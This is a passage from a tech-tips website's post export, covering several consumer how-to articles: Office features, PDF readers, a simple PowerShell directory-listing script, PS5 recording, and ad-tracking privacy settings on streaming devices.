range.\nIt also uses common encryption types such as WPA, WEP and is compatible with Windows, Mac OSX, Linux. All the features that a Wi-Fi USB device you own can expect in this device, but it also has the ability to plug directly into a laptop like a USB drive and use the included extension cord.\nSee more:\nThe best 8 long-range Wifi routers in 2017 Summary of the best Wi-Fi Router devices The best wifi transmitter, wifi modem, worth buying for you ncG1vNJzZmismaXArq3KnmWcp51kwbC8jGpnZpqVqMFuw8ifoGato5d6c3yQcQ%3D%3D\n","link":"/post/top-10-best-wi-fi-usb-2018/","section":"post","tags":null,"title":"Top 10 best Wi-Fi USB 2018"},{"body":"PDF is one of the most popular file formats today, PDF files are displayed the same, all formats are kept in different working environments. Because of this advantage, the PDF format is becoming more and more popular. But to read PDF files on computers, the computer needs to install software that supports this format.\nCurrently, there are many software to read PDF files that make it difficult for you to choose the best PDF reader software. Here are the top 3 best PDF reading software 2020 invites you to refer and choose the best software to use.\n  1. Foxit Reader software Foxit Reader is an easy to use PDF reader software, which is selected and used by many people. Foxit Reader offers full features to create PDF files, edit PDFs, create notes, create signatures, set password protection and print PDF files. You can quickly use the software with the familiar user interface, Microsoft Office ribbon toolbar.\n  Features of Foxit Reader:\nView PDF files with a clear interface, scroll bars to help users move, zooming, zooming pages to help you easily customize the viewing page. Create new PDF files: With the new version of Foxit Reader , the software has improved and supported users to create new PDF files quickly. Provide many editing tools such as add, edit, delete, change the font, background color, spacing, position of words or paragraphs, insert notes, comments, create links, attach files, embed images photos, audio and video . Foxit Reader allows sharing PDF files via Evernote software (supports online information memorization), you can view information saved on Evernote anytime, anywhere. In addition, the software also supports sharing PDF files via email. Create password protected PDF with ASLR and DEP encryption algorithms . Foxit Reader allows you to create copyright marks on PDF files (watermark). You can download Foxit Reader here: https://www.foxitsoftware.com/pdf-reader/\n2. Adobe Reader software Adobe Reader is also one of the best PDF file readers available today, it not only supports you to read PDF files in multiple modes but also supports you to add notes to PDF files and print PDF files, protect data from malicious code .\n Key features of Adobe Reader:\nAbility to view PDF documents quickly, you can choose how to read appropriately, you can use keyboard shortcuts to print, zoom and search inside the browser. Add notes to PDF documents with the full comment tool, you can add notes, highlight text and use lines, shapes, seals as well as a typing tool to add comments. Support to protect your software and data from malicious code, do not allow other users to view personal information by applying Protected Mode. Convert PDF to Microsoft Word or Excel. Supports multiple platforms and operating systems as well as smartphone devices. Support viewing the types of content contained in PDF files including documents, drawings, email messages, spreadsheets and presentations. View multimedia news: The latest Adobe Reader lets you open and interact with PDF  Portfolios as well as videos, audio, CAD designs and geographic maps that have been converted to PDF. You can download Adobe Reader here: https://get.adobe.com/fr/reader/\n3. Nitro PDF Reader software Nitro PDF Reader \u0026nbsp;provides useful features in addition to the usual annotation and viewing tools that most popular PDF readers provide. Nitro PDF Reader is widely used by many users because the speed of accessing and processing data is faster than ever.\n Key features of Nitro PDF Reader:\nView PDF quickly with intuitive user interface. Create PDFs from any source. Add comments, address feedback, highlight, underline or cross out text. Extract images from PDF. Add signatures to any document quickly. Share PDF files: share documents with anyone, anytime, save PDF files directly to Box, DropBox, Google Drive and OneDrive for quick and simple sharing. You can download Nitro PDF Reader here: https://www.gonitro.com/pdf-reader-pro\nThus, the article introduced to you the top 3 best PDF reading software, you can rely on the features of each software to choose the best software and use. Under each software is the homepage link of the software, you can click on the link and download the software to your computer. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jGxkm52jqXqxsMVmnaKklWK%2Fpq3Dnqlmq5%2Bbwbit0Z5kraeUlsZufo9rZw%3D%3D\n","link":"/post/top-3-best-pdf-file-reader-software-today-2020/","section":"post","tags":null,"title":"Top 3 best PDF file reader software today 2020"},{"body":" Complete guide for Word 2016 (Part 15): Page numbering Complete Word 2016 tutorial (Part 22): How to create a chart Word 2016 full guide (Part 23): How to check spelling and grammar Style is a set of formatting, font size and color applied to a portion of text in your document.\nStyles can help your document have a more professional look. In addition, you can also use different styles to quickly change a few things in the document at the same time. Like a Template, different text sections that apply the same Styles in the same Theme will have the same format.\nCheck out the video below to learn more about how to use Style in Word 2016:\nHow to use Style in Word 2016: I. Apply a Style to the text II. Apply a style III. Change Style IV. Create a new Style I. Apply a Style to the text 1. Select the text you want to format or place the cursor at the beginning of the line.\n  2. In the Styles group on the Home tab, click the More drop-down arrow.\n  3. Select the Style you want from the drop down menu.\n  4. The text will appear in the selected Style.\n  II. Apply a style Style sets include a combination of title, heading and paragraph types. Style sets allow you to format all parts of a document at once instead of modifying each part separately.\n1. From the Design tab, click the More arrow drop down in the Formatting Document group.\n  2. Select the Style set you want from the drop down menu.\n  3. The selected Style set will be applied to your entire document.\n  III. Change Style 1. Locate and right-click the Style you want to change in the Styles group, then select Modify from the drop-down menu.\n  2. A dialog box will appear. Make desired format changes, such as font style, size and color. If you want, you can also change the name of Style. Click OK to save your changes.\n  3. Style will be modified.\n  When modifying a Style, you are changing every way of displaying that Style in the document. In the example below, we modified the Normal style to use a larger font size. Because both paragraphs use style Normal, they have been updated automatically to use the new size.   IV. Create a new Style 1. Click the arrow in the bottom right corner of the Styles group.\n  2. The Styles task pane will appear. Select the New Style button at the bottom of the task window.\n  3. A dialog box will appear. Enter a name for Style, select the desired text format and then click OK .\n  4. The new style will be applied to the currently selected text. It will also appear in the Styles group.\n  Alternatively, you can use Styles to create a table of contents for the document. To learn how to do this, please refer to the article Creating a table catalog in our automated Word! Refer to some more articles:\nWord 2016 Complete Guide (Part 24): How to use Track Changes and Comments Word 2016 Complete Guide (Part 25): How to check and protect Word documents Full Word tutorial 2016 (Part 26): Create SmartArt graphics Having fun!\nncG1vNJzZmismaXArq3KnmWcp51kwbbAzqugmqRdm7yzedaoqZ1lYmV%2Bd3nPmqmtZWJseqm71marqGWlqLJuv9Oyo54%3D\n","link":"/post/tutorial-for-word-2016-part-27-how-to-use-style/","section":"post","tags":null,"title":"Tutorial for Word 2016 (Part 27): How to use Style"},{"body":"The following article details you how to use Slide Master in PowerPoint.\nThe purpose of creating a Slide Master to create a format for a Slide and apply the format of the Slide to the remaining slides, this saves you time and effort.\n1. Create Slide Master. Step 1: Go to the View tab -\u0026gt; Master Views -\u0026gt; Slide Master:\n  Step 2: Slide master displays click the first Slide , Slide format as required, for example, insert logo logo:\n  Step 3: Edit the font, font color . for the title of the Slide:\n  - Results created format for 1 Slide master:\n  Step 4: Click the Close master button to finish creating the Slide Master:\n  - The results of all existing slides are applied with the format of Slide Master:\n  2. Create another Slide Master format. Step 1: Click the View tab again -\u0026gt; Master Views -\u0026gt; Slide Master:\n  Step 2: Skip Slide 1 move down to the supported Slide formats -\u0026gt; select the Slide type -\u0026gt; change the format if needed:\n  Step 3: After changing the format, click Close Slide Master -\u0026gt; go to the Home tab -\u0026gt; New Slide -\u0026gt; select the Slide you want to apply (the newly created slide format):\n  - The results have been created in Slide Master format:\n  3. Save the Slide Master format. You want to save the Slide Master for later convenience, just do the following:\n- Go to Design tab -\u0026gt; Click and select Theme list -\u0026gt; Save Current Theme:\n  - The Save Current Add dialog box appears, enter a name for the format to save -\u0026gt; click Save:\n  So whenever you need to use this format, you can use it right away without having to manipulate and reformat.\nAbove is a detailed guide on how to use Slide Master in PowerPoint.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51kwrSxjKyjopyVYrqiv9OeqWahnmK9sMPEq6eooZ6p\n","link":"/post/use-slide-master-in-powerpoint/","section":"post","tags":null,"title":"Use Slide Master in PowerPoint"},{"body":"In addition to serving as a place to book and classify books for you, bookshelf is also a decoration that enhances the beauty and aesthetics of your home. If you are still wondering how to design bookshelves to suit your home. Refer to the article below to find out your answer.\n  Invite you to refer to more than 50 samples of the most beautiful wall bookshelves collected and collected by Thuthuatphanmem.vn below!\n  Sample pictures of the most beautiful wooden wall shelves\n  Sample pictures of beautiful wooden wall shelves\n  Sample photos of aluminum wall shelves\n  Beautiful bookshelf images for the bedroom\n  Wooden bookshelf\n  Unique wall bookshelf\n  Simple but beautiful wall bookshelf\n  Unique c-shaped wall bookshelf\n  Hexagon wall bookshelf\n  White wall bookshelf\n  Sample baby bookshelf and simple\n  Sample bookshelf for beautiful bedroom\n  Sample beautiful bookshelf for the room\n  Sample beautiful bookshelf for the living room\n  Sample beautiful bookshelf for the office\n  Sample unique bookshelf hanging on the wall\n  Sample unique bookshelf\n  Sample simple and beautiful bookshelf\n  The simplest and most unique bookshelf model\n  Sample beautiful wooden bookshelf\n  Sample beautiful and strange tree bookshelf\n  Sample bookshelf shaped beautiful wall hanging house\n  Sample the most beautiful living room bookshelf\n  Sample beautiful bedroom bookshelf\n  Sample unique bookshelf\n  Sample hanging simple but beautiful bookshelf\n  Sample wooden bookshelf\n  Sample wall-mounted bookshelf for the office\n  Sample wall-mounted bookshelf c\n  Sample wall shelves beautiful but simple\n  Sample the most beautiful wall-mounted bookshelf\n  Sample beautiful and strange wall shelves\n  Sample beautiful, simple wall-mounted bookshelf\n  Sample beautiful wall bookshelf\n  Sample unique wall bookshelf with tube\n  Sample the most unique wall bookshelf\n  Sample unique and beautiful wall mounted bookshelf\n  Sample unique and compact wall bookshelf\n  Sample unique and fancy wall-mounted bookshelf\n  Sample unique wall bookshelf\n  Sample wall shelves simple but beautiful\n  Sample simple and beautiful wall bookshelf for the bedroom\n  The simplest and most beautiful model of wall bookshelf\n  Sample wall shelves simple and beautiful\n  Sample wall shelves simple and unique\n  Sample beautiful horizontal bookcase wall\n  Sample wall shelves\n  The most beautiful model in wall\n  Beautiful bookshelf models\n  The unique sample bookshelf\n  Samples of beautiful wall-mounted bookshelves\nAfter referencing more than 50 beautiful bookshelves in the article, then surely you have a little idea for a bookshelf model in your house. If you like the article, please rate and comment on the comments section below!\nncG1vNJzZmismaXArq3KnmWcp51kgnF5wZ6qrWWnlrmtecGopqSrmJq5t7HSZp2oql2uvLa%2BjKGmpp0%3D\n","link":"/post/50-best-wall-bookshelves-for-your-home/","section":"post","tags":null,"title":"50+ Best wall bookshelves for your home"},{"body":"1. The size of the air conditioner is too big for the room area\n\nMany people think that the bigger the air conditioner, the faster it will cool down. However, an air conditioner that is too large for the area of ​​the room will not be able to evenly distribute the heat throughout the room or reduce the humidity.\nYou should choose an air conditioner with the right size and cooling capacity for the area of ​​​​the room. Just save monthly electricity, while helping your room become cooler, more luxurious and sophisticated.\n 2. Regularly close the door when using the air conditioner\nThe air in a closed room is 2-5 times more toxic than outdoors, so you should choose air conditioners with air filtration and germicidal functions to keep the air in the room fresh.\nIn addition, every 15 - 30 minutes you should open the room door once for a few seconds so that the room can \"breathe\", exchange air with the outside. You can equip additional ventilation fans in the room, to exchange outdoor air into the room for more comfortable indoor air.\n3. Install the air conditioner in the wrong place\nThe location of the air conditioner also has a big impact on its energy efficiency. Many homes have air conditioning on the hottest wall in the room. People think that this way the room will quickly cool down. However, the machine has to work harder to cool the superheated wall first and then the air in the room.\nTherefore, instead, you should install the air conditioner in shady corners so that the temperature in the room drops quickly and then slowly cools the surrounding walls. Thus, the temperature in the room will cool quickly, cool for a long time, in addition, the area where the air conditioner is located should not be blocked with shrubs or other furniture. Finally, make sure that the air conditioner is located away from lights and other appliances that generate heat.\n4. Turn on the air conditioner 24/7\nHot days make many families turn on the air conditioner continuously throughout the day. However, this not only wastes electricity, but also greatly affects health when staying in a closed room with the air conditioner on for a long time. You should only sit in an air-conditioned room for no more than 2 hours.\n When leaving the room, open the door wide and stand at the door for a few minutes to allow the body to adapt to the new air. You should not leave the air conditioner on overnight, but should use sleep mode to set a timer to turn off the air conditioner.\nYour body can tolerate higher temperatures while asleep than awake. And if you sleep with air conditioning, you should note that the more you sleep at night, the less your body moves, you will easily catch colds, so you need to adjust the air conditioner to increase the temperature at night.\n5. Let the air conditioner temperature too low\nTurning on the air conditioner at a temperature that is too low makes you more likely to catch a cold due to the high temperature difference between inside and outside. In particular, the elderly and children with weak resistance are easy to have headaches, sore throats, stuffy noses, so usually, the air conditioner temperature around 25 degrees Celsius is the best.\n You should also take care to avoid sudden temperature changes. Do not step into an air-conditioned room as soon as you come back from the sun or sweat a lot while exercising. Before leaving the room, you should stand at the door wide open for a few minutes to allow your body to adapt to the hot air outside. However, also try to avoid constantly going in and out to limit the body being disturbed by having to regularly adjust to adapt to the temperature.\n6. Do not use the fan\nMany people think that air conditioners replace traditional fans. In fact, a fan will help you run your air conditioner more efficiently by circulating air around the room, which not only saves money on your bill, but also reduces wear and tear on your appliance. Furthermore, the fan creates an artificial \"cold wind\" that keeps you comfortable at slightly higher temperatures.\n7. Turn off the air conditioner when the room is cold enough\nMany people turn off the air conditioner as soon as the room is cool enough and turn it back on when it is hot to save electricity. However, few expected this to cause the opposite effect. Air conditioners need to consume a lot of power when starting up. Therefore, instead of turning it on to 16 degrees Celsius and then turning it off immediately after a few minutes, you should leave it stable at 25 degrees Celsius for a long time.\nncG1vNJzZmismaXArq3KnmWcp51khG65yKyrmqOVqHq4tMSnZK6rmaO0bq3Iq2Scp56ZtrW1zqecq6tdqbWiwIywmKyslWKyrbHCramim5mpxg%3D%3D\n","link":"/post/7-mistakes-when-using-air-conditioners-that-waste-electricity/","section":"post","tags":null,"title":"7 mistakes when using air conditioners that waste electricity"},{"body":"Windows PowerShell is a command line utility and new scripting language provided by Microsoft.Why should I study and care about PowerShell?Because it is a new-style utility?Of course, every new utility is claimed to be 'different' from the old ones, but PowerShell has some components that really distinguish it from other utilities.In this article we will look at some of the scripting components of PowerShell and create an example PowerShell script from seemingly messy things.\nBrief history of the Windows command line utility\nAfter Windows NT was released, CMD.EXE became the command line utility for Windows. Although CMD.EXE inherits some components of its predecessor DOS (COMMAN.COM), it still relies on a rather 'primitive' scripting language: using Windows Command files (.CMD and .BAT). ). The addition of Windows Scripting Host and VBScript and JScript languages ​​has significantly enhanced the scripting capabilities for the utility.\nThese technologies are a well-balanced combination of advanced command line utilities and scripting environments. Actually the problem can be manipulated with how many CMD.EXE, .CMD and Windows Scripting Host files are not a real concern. What makes people complain and is most concerned about completing some seemingly simple tasks.\nUsing the 'framework' of command-line tools and scripts, any moderately synthesized script also requires a combination of both batch commands, Windows Scripting Host and independent executables. Each script uses different conventions for execution and request, parsing, and returning data.\nWeak variables supported in CMD.EXE, inconsistent interfaces and limited access to Windows settings, combined with another weakness that makes the command line script more difficult to deploy and use . You will probably wonder what 'another weakness' here? Please say that it is plain text (text). In these technologies, everything is in text format. The output of a command or script is text and must be parsed as well as reformatted to act as input for the next instruction. This is the basic starting point that PowerShell removed from all traditional utilities.\nPowerShell script = Batch files on Steroids\nPowerShell itself is written in the .NET language and relies heavily on the .NET Framework. So PowerShell is designed as an object-oriented utility and scripting language. All in PowerShell are viewed as an object with full functionality of the .NET Framework. A command provides a set of objects that can be used by using the properties and methods of that object type. When you want to put the output of a command into the pipeline for another command, PowerShell will actually pass the object, not just the first line's text output. This gives the next command the ability to access all the properties and methods of the object in the pipeline.\nConsidering everything as an object and the ability to accept objects between commands is a major theoretical change for command line utilities. That said, PowerShell still works like a traditional shell utility. Commands, scripts, and executables can be typed and run from the command line and the results are displayed in text format. Windows .CMD and .BAT files, VBScripts, JScripts and executables work inside CMD.EXE, all still running in PowerShell. However, since they are not object-oriented, they do not have full access to the objects created and used in PowerShell. These legacy scripts and executables will still treat everything as text, but you can combine PowerShell with some other technology. This is very important if you want to start using PowerShell with a collection of existing scripts that can't be converted all at once.\nA PowerShell Script\nReading and understanding the amazingness of technology is one thing, and considering it and using it is another thing! In the rest of this article, we will develop a PowerShell script to demonstrate its capabilities and uses.\nDIR is one of the most popular commands in CMD.EXE. This command shows all files and subdirectories contained in a parent directory (Figure 1). Along with the name of each object, the information given also has the latest date and time updates and the size of each file. DIR also displays the aggregate size of all files in the directory, as well as the total number of files and subdirectories.\n  Figure 1\nRunning DIR in PowerShell also offers a directory listing like Figure 2, but slightly different. PowerShell does not have a DIR command, but rather a Get-ChildItem, which performs the same function. In PowerShell, DIR is an alias for Get-ChildItem. I have no intention to delve into the aliases in this article. You can imagine DIR in PowerShell as an abbreviation for Get-ChildItem.\nDIR in PowerShell provides much the same information as mentioned above: a file and folder list, last updated date and time, and file size. However, it lacks the summary information that DIR in CMD.EXE provides: the total size of all files in the directory, the total number of files and the total number of subdirectories.\n  Figure 2\nFor the example scenario, you will need to create a PowerShell script that simulates the CMD.EXE DIR command. Below I will explain the most essential parts of a script.\nDIR.PS1: Header (Header) \n\nA PowerShell script includes PowerShell commands in a plain text file with extension .PS1. Replace DIR, you will use a text file called DIR.PS1.\nTo run the script, type the following command in the PowerShell screen:\n.DIR.PS1 X: Folder\nWhere X is the drive partition character (such as C, D, E) and Folder is the folder name.\nIf you want to know some information about the drive partition, you will have to use Windows Management Instrumentation (WMI). Details of WMI are beyond the scope of this article so we won't mention it here. But the PowerShell code below is pretty easy to understand without using WMI help. You can create a variable '$ filter' to use with the Get-WmiObject command. This filter (ie filter) tells the Get-WmiObject command that you only want information about a specific drive. The result of the Get-WmiObject command is stored in a variable called $ volInfo. Remember, in PowerShell everything is an object; $ volInfo is now also a result object returned from Get-WmiObject.\n$ filter = \"DeviceID = '\" + $ drive + \":'\"\n$ volInfo = Get-WmiObject -Class Win32_LogicalDisk -Filter $ filter\nYou can now access all objects and methods associated with the object. The serial number of the drive partition is accessible via the VolumeSerialNumber attribute. The information returned is a sequence of 8-character strings. But often you want to format it in four separate numbers, separated by a hyphen. You can do the same as in the line below. The hyphen at the end of the first line is the line serial character in PowerShell. Basically, it just tells PowerShell that the line is not interrupted but includes the next line. When writing code without separating lines, but to reduce the width and let the code read, you should do this.\n$ serial = $ volInfo.VolumeSerialNumber.SubString (0, 4) + \"-\" + `\n$ volInfo.VolumeSerialNumber.SubString (4, 4)\nNow that there is a $ volInfo object, you can write DIR header information for the screen. If the drive does not have a name, the text for the screen will be a bit different from the drive named. A simple If-Else command is used to check if the VolumeName attribute is empty. The Write-Host command is used to write each command line to the screen.\nIf ($ volInfo.VolumeName -eq \"\") {Write-Host ($ drive + \"has no label\")} Else {Write-Host (\"Volume in drive\" + $ drive + \"is\" + $ volInfo.VolumeName)} Write-Host (\"Volume Serial Number is\" + $ serial) Write-Host (\"` n Directory of \"+ $ args [0] +\" `n\")\nThe '`n' character at the beginning and end of the Write-Host command is used to insert new lines before and after the text. The Write-Host command adds a new line at the end of each line. Therefore the effect of '`n' is to create a blank line before and after the text line.\nDid you notice the '-eq' cluster in the If command? It is a comparison operator. The table below will tell you all comparison operators:\n-eq, -ieq Compare with -ne, -ine Compare not equal to -gt, -igt Compare larger -ge, -ige Compare greater than or equal to -lt, -ilt Compare smaller than -le, - ile Compare smaller or equal The -i character before the comparison operator is to indicate that the operator is not case-sensitive.\n  Figure 3: Output (output) of the script you currently have\nDIR.PS1: File / folder list\nNow you are ready to display the content and properties of this folder. The first thing to do is call the PowerShell Get-ChildItem command to bring up the set of files and put them into the script as a parameter. The Get-ChildItem command will retrieve the set of file and folder objects, not just names, but also pipe these objects directly into the Sort-Object command to sort them. By default, the Sort-Object command will sort the object based on the Name attribute. So you don't need to describe any other parameters. The set of sorted objects will then be stored in a variable named $ items.\n$ items = Get-ChildItem $ args [0] |Sort-Object\nOnce you have a collection of file and folder objects, you need to loop through them and display the appropriate features. The command for this is ForEach. For each file or folder, the displayed feature will be the last updated date and time, name, length or file size. The strange thing that looks like strings in round brackets is the .NET string format code. They are used to align left / right for fields and format dates, times, and numbers. Understanding these string formats is not very important, because they are not essential to reflect the nature of this script.\nThe If command is where you determine if there is a directory object. If the first character of the Mode attribute is 'd', the object is a directory. You need to check again because the code for the directory is often different from the code written for the file.\nNotice the line $ totalDirs ++ inside the If command. This is the counter responsible for tracking the directory number. Similarly, there is a $ totalFiles variable used to track the total size of all files. These values ​​are always calculated during execution. But they are only displayed when the file listing process ends.\n ForEach ($ i In $ items) { $ date = \"{0, -20: MM / dd / yyyy hh: mm tt}\" -f $ i.LastWriteTime $ file = $ i.Name If ($ i.Mode.SubString (0, 1) -eq \"d\") { $ totalDirs ++ $ list = $ date + \"{0, -15}\" -f \" \"+\" \"+ $ file } Else { $ totalFiles ++ $ size = \"{0, 18: N0}\" -f $ i.Length $ list = $ date + $ size + \"\" + $ file } $ totalSize + = $ i.Length Write-Host $ list }    Figure 4: Displaying the output of the updated script.\nDIR.PS1: Postfix (Footer)\nThe only thing left is to write on the screen the total number of files, folders, total size of all files and free space on this drive partition. To do this you will need to use the counter variables ($ totalFiles, $ totalDirs, $ totalSize) created in the previous section. You can know the amount of free space from the $ volInfo variable created from the start of writing the script.\n Write-Host (\"{0, 16: N0}\" -f $ totalFiles + \"File (s)\" + ` \"{0, 15: N0}\" -f $ totalSize + \"bytes\") Write-Host (\"{0, 16: N0}\" -f $ totalDirs + \"Dir (s)\" + ` \"{0, 16: N0}\" -f $ volInfo.FreeSpace + \"bytes free`n\")    Figure 5: Completely displaying the output of the script.\nThe forecasts and the ability to improve can \n\nAlthough the script you created gives the same output data as the CMD.EXE DIR command, there are some forecasts you need to know and some enhancements are possible.\nThis script does not perform any error checking. If a valid path is not entered into the script, the script will fail with a PowerShell error message. The total number of directories given in the script is less than 2 from the CMD.EXE DIR command because the Get-ChildItem command does not count two directories '.' and '.' as in CMD.EXE. Your script only sorts order by file name, directory name and does not provide any other sorting properties. Your script does not have the ability to display directory content and all subdirectories. Conclude\nAlthough PowerShell is a powerful scripting and scripting utility, you only need to spend some time being able to capture and use it, especially when not familiar with the .NET Framework environment. I hope this article and the example script will be useful for anyone who wants to understand PowerShell. But the script created in the example is quite simple. Believe that it can be built and developed more fully to better serve more complex applications.\nncG1vNJzZmismaXArq3KnmWcp51krqO71K1kqaenmr%2B0tMSlow%3D%3D\n","link":"/post/about-powershell/","section":"post","tags":null,"title":"About PowerShell"},{"body":"World War Z is a Co-Op-style shooter game that is attended by 4 people. Like Left 4 Dead, the player will join his teammates against large zombies with numbers up to thousands.\nThe World War Z configuration is considered to have the best graphics of the year, and with such an assessment, many gamers will be concerned that World War Z graphics require excessive hardware from many good gamers. is not. Below is the configuration of World War Z on the computer.\nPUBG Lite player configuration on computer, laptop Configure Mobile Alliance and how to choose the player Configuration of Assassin's Creed Unity on the computer Minimally configure World War Z on the computer   Operating system: Windows 7 64bit or more CPU: Core i5-750 or Core i3-530 or AMD Phenom 2 X4-810 RAM memory: 8GB Graphics card: Nvidia GT 730 2GB or AMD R7 240 or Intel HD530 Free space: 20GB Configure World War Z requirements on the computer   Operating system: Windows 10 64bit CPU: Core i7-3970 @ 3.5GHz RAM memory: 16GB Graphics card: Nvidia GTX 960 2GB or AMD R9 280 Free space: 20GB According to the minimum configuration that the game publisher suggests, World War Z's configuration will not be as heavy as most current PC game titles. Just configure your PC to have a Core i3-530, 8GB of RAM and an Onboard GPU that will be able to play World War Z at medium configuration.\nHowever, for many gamers who want to experience World War Z at the most realistic graphics level, they must buy this game a Core i7-3970 and an Nvidia GTX 960 card to be able to achieve 1080p 60fps resolution. This level of configuration is not too high at the present time, and 16GB of RAM is so that when you freeze Zombie, you will not lose FPS.\nncG1vNJzZmismaXArq3KnmWcp51ksLC6xaKerqqVYsSwvsudZLCZomLHbrvNZrCoraJisLC5z66rnqo%3D\n","link":"/post/configure-world-war-z-on-your-computer/","section":"post","tags":null,"title":"Configure World War Z on your computer"},{"body":"The latest technologies are crammed into Dell's newly released laptop version.\n Precision M6500 uses the Intel Core i7 920XM Quad-Core Extreme clocked at 1.6 GHz. Photo: Notebookcheck. With its stylish, unobtrusive square design, the well-equipped Precision M6500 is included in the current dream car: 1.6 GHz Intel Core i7 920XM Quad-Core Extreme, 17-inch LED display 1,920 x 1,200 pixel resolution and the terrible Nvidia Quadro FX 3800M video card. This is the first laptop version equipped with this card.\nRAM on the Precision M6500 can plug up to 16 GB. It supports 3 different hard drives with a maximum capacity of 500 GB each, an SSD of 256 GB and an encrypted drive of 160 GB. You can also choose an integrated optical drive that is DVD or Blu-ray burner.\nAll latest life connections are also available for Dell's Precision M6500, such as Wi-Fi 802.11 b / g / n, Bluetooth 2.1, 3G and Ultra-Wideband (UWB). Besides, there are other standard connections such as VGA port, 4 USB ports, 8 in 1 card reader slot and a 2 or 3 million pixel webcam.\n The Dell Precision M6500 is the first laptop to carry an Nvidia Quadro FX3800M graphics card\nPhoto: Notebookcheck. The Precision M6500 comes preinstalled with Windows 7 Ultimate (64bit version) or RedHat Enterprise Linux. Weighing 3.86 kg with a 9 cell battery, this pitiful laptop version has a starting price of $ 2,749. Users will depend on the need for RAM, video card or operating system that will pay more or less.\nIn addition to the standard version, Dell also released a limited-edition orange aluminum casing M6500 Covet with an even bigger start price, up to $ 4,219.\nncG1vNJzZmismaXArq3KnmWcp51ksaa4y2ajmq2emLWmsIytn55loKeypLXSoqanZZ1rgnF8\n","link":"/post/dell-launched-the-precision-m6500/","section":"post","tags":null,"title":"Dell launched the Precision M6500"},{"body":"Internet privacy involves more than just keeping the data you transmit safe. You may also prefer that others not have evidence of the websites that you visit. This is especially true for those who share a household computer or who must use...\nMethod 1of 4:\nInternet Explorer  Launch Internet Explorer.\n  Click \"Tools,\" and then click \"Internet Options.\"\n  Check the \"Delete browsing history on exit\" button,  then click the Delete button under the Browsing History subheading to clear the browser history. The Delete Browsing History window will open. For the best security, make sure that all options are checked, including \"Form data,\" \"Passwords\" and \"InPrivate Filtering data.\" Click the Delete button and wait for the process to complete.   Close the Internet Options window by clicking Apply and then the OK buttons.\n Method 3of 4:\nChrome  Launch the Chrome browser.\n  Go to options at the upper right side of the browser then click on Settings. The Options menu will launch in a new tab in the same browser window where you can clear the history.   Under \"Settings\" from the option types, click \"Advanced Settings\". Then look for \"Clear Browsing Data\" under Privacy. Set the period you want to clear the history from and select the data types you will be deleting. For the highest security, select all data types and clear \"From the beginning of time.\"   Finish the process by clicking the Clear Browsing Data button and then closing the Options tab.\n Method 4of 4:\nSafari  Use the dock area to launch the Safari browser.\n  Click \"History\" on the main toolbar, then click the Clear the History option at the bottom of the drop down menu.\n  Micah Soto Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpucmq6zecCdm6udo6h6o63R\n","link":"/post/how-to-clear-address-bar/","section":"post","tags":null,"title":"How to Clear Address Bar"},{"body":"In fact, the PS5 comes with an extremely convenient built-in screen video recording feature. To enable and use this feature, just follow these steps:\nStep 1. Press the Create button on the handle. This is the button located on the left side of the touchpad, as shown in the illustration below.\n  Step 2. Select Capture Options to view capture and screen recording options.\n  Step 3. Adjust the installation settings according to your preference. Options include:\nFile type of output video. Include Your Mic's Audio. Include Party Audio.   Step 4. Click Start New Recording to start recording video. A timer will appear at the top of the screen.\n  Step 5. To stop recording, press the Create button on the controller again and select Stop Recording. You may have to wait a few seconds for the video to be saved to the hard drive.\n  Step 6. Click on the pop-up thumbnail to watch the recorded video. By default, this video will be saved to Media Gallery (accessible directly from the Home menu).\n  (Note: Pressing the Create button pauses the game, but doesn't pause the timer if you're recording a screen video.)\nHow to create a short clip on PS5 To record a short video clip, press the Create button on the handle twice. An icon will appear at the top of the screen to confirm that you are recording your screen video. Alternatively, you can also press the Create button once and choose Save Recent Gameplay\u0026gt; Save Short Clip.\nHow to share and edit clips on PS5 Before you can share videos online, you must link your social media accounts to your PlayStation 5. By linking your YouTube and PSN accounts, you can upload videos directly from your PS5 to YouTube.\nStep 1. Press the PS button on the controller to switch to the PS5 Home menu, then select Media Gallery.\n  Step 2. Select the video clip you want to share. To select multiple videos at once, click the check mark on the left side of the screen.\n  Step 3. Click on the brush icon to edit the video.\n  Step 4. On the Edit screen, you can cut your video clip and choose a cover image.\n  Step 5. Select Done to save the edited clip.\n  Step 6. Click the arrow (or Share if you want to upload multiple clips) to share your video.\n  (Note: To save the video to a USB, select the ellipsis (or Copy to USB Media Device if you want to save multiple clips at the same time).\nHow to change screen recording settings on PS5 You can adjust the video quality and other options in the system settings.\nStep 1. From the main screen, access the Settings.\n  Step 2. Select Captures and Broadcasts\u0026nbsp;\n  Step 3. Click Capture on the left side of the screen.\n  Step 4. Select Shortcuts for Create Button.\n  Step 5. Click on the Length of Recent Gameplay Video Clip and choose the amount of time you want.\n  Step 6. Go back to Captures and Broadcasts and click on Broadcasts. You will have the following options:\nVideo Quality Audio Camera Overlays Chat to Speech   ps5 playstation 5 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVmLyzsIyvoJ2dn2K0ornEZqelmalivK95z6xs\n","link":"/post/how-to-record-video-game-play-on-ps5/","section":"post","tags":null,"title":"How to record video game play on PS5"},{"body":"Most people don't think about being watched by a set top box, streaming stick or a smart TV. But like all other technologies in life today, Roku or other streaming devices collect and share user usage data.\nUser view activity is shared with Neilson as a basis for rating and application, as well as other activities used to build usage profiles, serving the purpose of advertising delivery. Here's how you can limit ad tracking on the most popular video streaming devices.\nLimit ad tracking on Roku Roku's security settings are the same on all its devices. So whether you have a Roku streaming stick, a set top box or a TV, go to Settings\u0026gt; Privacy\u0026gt; Advertising and check the 'Limit ad tracking' option . Once there, you may also want to rsset the advertising ID again. Doing so will prevent advertisers from building a profile of your usage and sending custom ads. This feature has the same concept as resetting advertising ID on Android or iOS.\n  Limit ad tracking on Apple TV If you're running Apple TV 4th generation or later, go to Settings\u0026gt; General\u0026gt; Privacy and turn on the 'Limit Ad Tracking' option . If you are still using an old Apple TV, go to Settings\u0026gt; General and change the 'Send Data to Apple' option to No.\n  \nLimit ad tracking on Amazon Fire TV Whether it's a Kindle Fire HD, Fire TV, or even an Echo device, Amazon loves to track users' activities so that it can serve customized ads. To turn off this feature on Fire TV, go to Settings\u0026gt; Preferences\u0026gt; Privacy Settings and turn off the 'Interest-based Ads' option .\n  In fact, this menu gives you the option to turn off other data collections such as Device and App Usage Data . Just turn it off. Amazon has certainly gathered enough data about you through website shopping and the use of other services.\n  Limit ad tracking on Google Chromecast If you own a Chromecast, you can limit usage data sent to 